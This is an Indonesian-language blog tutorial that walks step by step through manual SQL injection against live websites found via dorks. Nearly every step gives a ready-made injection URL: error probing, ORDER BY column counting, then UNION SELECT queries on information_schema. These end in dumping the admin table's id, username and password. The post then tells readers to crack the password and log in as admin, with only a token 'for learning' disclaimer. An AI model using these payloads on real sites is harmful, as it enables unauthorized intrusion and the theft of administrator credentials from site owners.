Hallo sobat blogger, kembali lagi dengan saya MR.057. Di postingan kali ini, saya ingin memberikan tutorial cara sql manual..
untuk tutorialnya langsung saja simak di bawah ini..
[STEP 1]
carilah target (untuk dork bisa lihat di sini)
misal: target.com/berita.php?id=100
Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
contoh:
target.com/berita.php?id=100′ atau
target.com/berita.php?id=-100
sehingga muncul pesan error seperti berikut :
Warning: mysql_fetch_assoc()
Warning: mysql_fetch_array()
Warning: mysql_num_rows()
Warning: session_start()
atau yang semacam/serupa dan sebentuk atau seperti di atas
[STEP 2]
mencari dan menghitung jumlah table yang ada dalam databasenya…
gunakan perintah : order by
contoh:
target.com/berita.php?id=-100+order+by+1– atau
target.com/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)…
misal:
target.com/berita.php?id=-100+order+by+1–
target.com/berita.php?id=-100+order+by+2–
target.com/berita.php?id=-100+order+by+3–
target.com/berita.php?id=-100+order+by+4–
sehingga muncul error atau hilang pesan error…
misal: target.com/berita.php?id=-100+order+by+9–
berarti yang kita ambil adalah sampai angka 8
menjadi target.com/berita.php?id=-100+order+by+8–
[STEP 3]
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: target.com/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg dipakai masukan perintah tsb pada angka yg keluar tadi
misal: target.com/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
target.com/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..
[STEP 4]
untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir
Code:
target.com/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+inf ormation_schema.tables–
seumpama table yang muncul adalah “admin”
[STEP 5]
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema =database() >>> dimasukan setelah angka terakhir
target.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name), 6,7,8+from+information_schema.tables+where+table_s chema=database()–
[STEP 6]
perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name= 0xhexa– >>> dimasukan setelah angka terakhir
target.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name) ,6,7,8+from+information_schema.columns+where+table _name=0xhexa–
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://www.v3n0m.net/ascii.htm
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
target.com/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name) ,6,7,8+from+information_schema.columns+where+table _name=0x61646D696E–
[STEP 7]
memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
Contoh :
target.com/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)–
contoh kata yang keluar adalah id,username,password
Contoh :
target.com/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,usernam e,password),6,7,8+from+admin–
[STEP 8]
tahap terakhir tinggal crack passwordnya (kalo perlu), terus cari admin loginnya >> tebass 3:)
saya tidak bertanggung jawab atas apa yang anda lakukan, ini hanya untuk materi pembelajaran saja
Semoga bermanfaat, terima kasih.
